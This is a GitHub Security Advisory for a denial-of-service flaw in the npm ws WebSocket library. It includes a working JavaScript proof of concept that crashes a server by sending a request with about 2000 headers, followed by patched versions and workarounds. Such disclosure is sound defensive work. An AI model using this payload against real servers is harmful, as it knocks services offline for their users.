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GHSA-3h5v-q93c-6h6q

GitHub Security Advisory

ws affected by a DoS when handling a request with many HTTP headers

✓ GitHub Reviewed HIGH Has CVE

Advisory Details

### Impact

A request with a number of headers exceeding the[`server.maxHeadersCount`][] threshold could be used to crash a ws server.

### Proof of concept

```js
const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;

for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;

for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';

if (++count === 2000) break;
}
}

headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';

const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});

request.end();
});
```

### Patches

The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to [email protected] (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), [email protected] (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and [email protected] (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)

### Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the [`--max-http-header-size=size`][] and/or the [`maxHeaderSize`][] options so that no more headers than the `server.maxHeadersCount` limit can be sent.
2. Set `server.maxHeadersCount` to `0` so that no limit is applied.

### Credits

The vulnerability was reported by [Ryan LaPointe](https://github.com/rrlapointe) in https://github.com/websockets/ws/issues/2230.

### References

- https://github.com/websockets/ws/issues/2230
- https://github.com/websockets/ws/pull/2231

[`--max-http-header-size=size`]: https://nodejs.org/api/cli.html#--max-http-header-sizesize
[`maxHeaderSize`]: https://nodejs.org/api/http.html#httpcreateserveroptions-requestlistener
[`server.maxHeadersCount`]: https://nodejs.org/api/http.html#servermaxheaderscount

Affected Packages

npm ws
Affected versions: 2.1.0 (fixed in 5.2.4)
npm ws
Affected versions: 6.0.0 (fixed in 6.2.3)
npm ws
Affected versions: 7.0.0 (fixed in 7.5.10)
npm ws
Affected versions: 8.0.0 (fixed in 8.17.1)

Related CVEs

Key Information

GHSA ID
GHSA-3h5v-q93c-6h6q
Published
June 17, 2024 7:09 PM
Last Modified
June 17, 2024 7:09 PM
CVSS Score
7.5 /10
Primary Ecosystem
npm
Primary Package
ws
GitHub Reviewed
✓ Yes

Dataset

Last updated: September 30, 2025 6:30 AM

Data from GitHub Advisory Database. This information is provided for research and educational purposes.